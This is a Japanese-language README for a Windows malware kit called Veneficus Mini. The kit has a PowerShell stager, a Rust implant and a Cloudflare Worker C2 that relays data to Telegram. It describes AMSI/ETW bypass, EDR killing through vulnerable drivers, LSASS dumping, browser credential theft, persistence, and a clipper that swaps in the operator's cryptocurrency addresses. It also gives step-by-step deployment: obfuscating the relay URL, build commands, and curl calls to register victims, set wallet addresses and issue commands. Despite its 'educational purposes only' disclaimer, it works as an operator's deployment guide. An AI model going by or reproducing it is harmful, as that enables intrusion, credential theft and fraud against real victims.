Veneficus Mini v3.0

Windows 10/11 x64 インプラントキット: PowerShell ステージャー、Rust PE、そして Telegram でオペレーターに通知する Cloudflare Worker。

ステージャー (resources/loader.ps1) は、現在の PowerShell プロセスで AMSI を無効化し、Worker の /beacon ルートからインプラントを取得して、%TEMP%\MicrosoftEdgeUpdate.exe として起動することを目的としています。その後 PE は、ホストをサンドボックス/アナリストの痕跡についてスコアリングします。スコアが高い場合はバイナリをワイプし、中程度の場合は「セーフモード」(フィンガープリントのみ) に入り、低い場合はフルスタックを実行します — AMSI/ETW パッチ、名前付き EDR プロセスに対する BYOVD プール、ブラウザ認証情報の窃取、LSASS ダンプチェーン、WMI/スケジュールタスク/Run による永続化、localhost SOCKS5 プロキシ、localhost HVNC/RFB リスナー、暗号通貨アドレス用のクリップボードクリッパー。ジッター付き HTTPS ループがビーコン送信し、小さなコマンドセット (/status、/proxy_on、/self_destruct、/re_infect、/sleep、セーフモードトグル) をポーリングします。Exfil は HMAC 付き AES-256-GCM で、コンパイル時に埋め込まれた UUID から鍵を導出します。Worker は鍵を保持せずに暗号文を転送することを想定しています。

このリポジトリは教育および分析のために公開されています。実装済みのものとスタブのものをファイル単位で読み解いたものは VENEFICUS_MINI_v3_DEEP_ANALYSIS.md にあります。

教育目的のみ。2026 All rights reversed.

アーキテクチャ

VICTIM MACHINE
  loader.ps1 (AMSI/ETW bypass → download → execute)
    └── veneficus_mini.exe
          ├── Environment assessment (sandbox/VM/analyst detection)
          ├── Stealth: syscall bypass chain, lacuna stack-spoof, DKOM, AMSI/ETW patch
          ├── BYOVD: kill EDR processes (K7RKScan, ThrottleStop, BdApi, TrueSight, wsftprm, RTCore64)
          ├── Payload: creds, cookies, LSASS dump, device fingerprint
          ├── Persistence: WMI / Scheduled Task / Registry (three-way fallback)
          ├── SOCKS5 proxy (127.0.0.1:1080 by default, configurable)
          ├── HVNC (127.0.0.1:5900 by default, configurable)
          ├── Clipper: crypto address hijacking (BTC, ETH, LTC, XMR, DOGE, SOL, XRP, BNB, USDT)
          └── C2 loop: AES-GCM encrypted poll every 10 ± 3s (safe mode: 60 ± 18s)
                ↕ HTTPS
CLOUDFLARE WORKER
  /beacon   → implant download
  /exfil    → receive encrypted data → forward ciphertext to Telegram
  /commands → return queued commands (one-time queue)
  /config   → return operator config blob
  /admin    → queue commands  (requires X-Admin-Key)
  /register → register UUID   (requires X-Admin-Key)
  /unregister → revoke UUID   (requires X-Admin-Key)
  /listing  → list all UUIDs (requires X-Admin-Key)
  /set_config → push config  (requires X-Admin-Key)
                ↓
TELEGRAM BOT
  Receives: ciphertext + nonce + HMAC (operator decrypts offline)

前提条件

コンポーネント	インストール方法
Rust + cargo	`curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \| sh`
Windows クロスコンパイルターゲット	`rustup target add x86_64-pc-windows-gnu`
MinGW クロスリンカー	`sudo apt install mingw-w64`
Wrangler (CF Worker CLI)	`npm install -g wrangler`

セットアップ

1. Cloudflare Worker

wrangler login
wrangler init veneficus-relay
# Replace worker.js with cloudflare/worker.js

wrangler secret put TELEGRAM_TOKEN     # from @BotFather
wrangler secret put TELEGRAM_CHAT_ID   # your chat/group ID
wrangler secret put ADMIN_KEY          # random 32-char secret

wrangler kv:namespace create "UUID_KV"
wrangler kv:namespace create "COMMANDS_KV"
wrangler kv:namespace create "CONFIG_KV"

# Add KV bindings to wrangler.toml:
#   [[kv_namespaces]]
#   binding = "UUID_KV"
#   id = "<uuid_kv_id>"
#   (repeat for COMMANDS_KV, CONFIG_KV)

wrangler deploy

2. リレー URL の生成

import base64
url = b"https://your-worker.workers.dev"
key = 0xAF
enc = bytes([b ^ key for b in url])
print(base64.b64encode(enc).decode())   # → set as RELAY_URL_BYTES

3. ビルド

RELAY_URL_BYTES="<output_above>" \
BYOVD_DRIVER_DIR="./drivers" \
TOOLS_DIR="./tools" \
cargo build --release --target x86_64-pc-windows-gnu

ビルド前に、脆弱なドライバの .sys ファイルを drivers/ に、ツールバイナリを tools/ に配置してください。

4. インプラント UUID の登録

バイナリから UUID を読み取ります (ビルド時に埋め込み):

strings target/x86_64-pc-windows-gnu/release/veneficus_mini.exe | grep -E "[0-9a-f]{8}-[0-9a-f]{4}"

管理 API 経由で登録:

curl -X POST https://your-worker.workers.dev/register \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","note":"op_blackbird_host01"}'

5. オペレーター設定のプッシュ (クリッパーアドレスなど)

curl -X POST https://your-worker.workers.dev/set_config \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "implant_uuid": "global",
    "config": {
      "clipper_addresses": {
        "bitcoin":  "bc1qyourwallethere",
        "ethereum": "0xYOURWALLETHERE"
      },
      "reinfect_url": "https://your-worker.workers.dev/beacon"
    }
  }'

C2 コマンド

/admin エンドポイント経由で送信:

curl -X POST https://your-worker.workers.dev/admin \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","command":"/status"}'

コマンド	効果
`/self_destruct`	3 パスワイプ + イベントログ消去 + 終了
`/re_infect`	設定内の `reinfect_url` から新しいペイロードをダウンロードし、自身を置換
`/status`	PID、プロキシ状態、セーフモード、UUID を C2 に返送
`/proxy_on`	SOCKS5 プロキシを有効化
`/proxy_off`	SOCKS5 プロキシを無効化
`/exit_safe`	セーフモードを終了し、完全な動作を再開
`/enter_safe`	セーフモードに入る (フィンガープリントのみ)
`/sleep <secs>`	基本 C2 ポーリング間隔を上書き

フォールバックチェーン

モジュール	チェーン (左 = 最初に試行)
BYOVD	K7RKScan → BdApiUtil64 → TrueSight → ThrottleStop → STProcessMonitor → wsftprm → RTCore64 → capcom → ブロックリスト無効化
LSASS	MiniDumpWriteDump (ネイティブ) → WDigest パッチ → LSA Whisperer → DumpGuard → PPL バイパス (RTCore64)
NTLM	PrinterBug → PetitPotam → クロスプロトコルリレー (HTTP→LDAP) → CVE-2025-33073 → MSSQL リレー
Syscalls	Tartarus Gate → Halo's Gate → ntdll アンフック → 間接 → 標準 WinAPI
DKOM	EPROCESS アンリンク → PspChained 列挙 → EDR コールバック登録解除
永続化	WMI サブスクリプション → スケジュールタスク → HKLM Run キー

人気

veneficus